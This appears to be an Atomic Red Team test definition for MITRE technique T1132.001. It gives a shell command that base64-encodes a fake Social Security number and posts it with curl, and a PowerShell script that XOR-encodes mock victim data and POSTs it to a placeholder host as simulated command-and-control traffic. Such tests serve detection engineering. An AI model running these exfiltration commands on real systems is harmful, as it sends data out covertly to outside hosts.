attack_technique: T1132.001
display_name: 'Data Encoding: Standard Encoding'
atomic_tests:
- name: Base64 Encoded data.
  auto_generated_guid: 1164f70f-9a88-4dff-b9ff-dc70e7bf0c25
  description: |
    Utilizing a common technique for posting base64 encoded data.
  supported_platforms:
  - macos
  - linux
  input_arguments:
    destination_url:
      description: Destination URL to post encoded data.
      type: Url
      default: redcanary.com
    base64_data:
      description: Encoded data to post using fake Social Security number 111-11-1111.
      type: String
      default: MTExLTExLTExMTE=
  executor:
    command: |
      echo -n 111-11-1111 | base64
      curl -XPOST #{base64_data}.#{destination_url}
    name: sh
- name: XOR Encoded data.
  auto_generated_guid: c3ed6d2a-e3ad-400d-ad78-bbfdbfeacc08
  description: |
    XOR encodes the data with a XOR key.
    Reference - https://gist.github.com/loadenmb/8254cee0f0287b896a05dcdc8a30042f
  supported_platforms:
  - windows
  input_arguments:
    destination_url:
      description: Destination URL to post encoded data.
      type: Url
      default: example.com
    plaintext:
      description: Plain text mimicking victim data sent to C2 server.
      type: String
      default: Path\n----\nC:\Users\victim
    key:
      description: XOR key used for encoding the plaintext.
      type: String
      default: abcdefghijklmnopqrstuvwxyz123456
  executor:
    command: |
      $plaintext = ([system.Text.Encoding]::UTF8.getBytes("#{plaintext}"))
      $key = "#{key}"
      $cyphertext =  @();
      for ($i = 0; $i -lt $plaintext.Count; $i++) {
       $cyphertext += $plaintext[$i] -bxor $key[$i % $key.Length];
      }
      $cyphertext = [system.Text.Encoding]::UTF8.getString($cyphertext)
      [System.Net.ServicePointManager]::Expect100Continue = $false
      Invoke-WebRequest -Uri #{destination_url} -Method POST -Body $cyphertext -DisableKeepAlive
    name: powershell
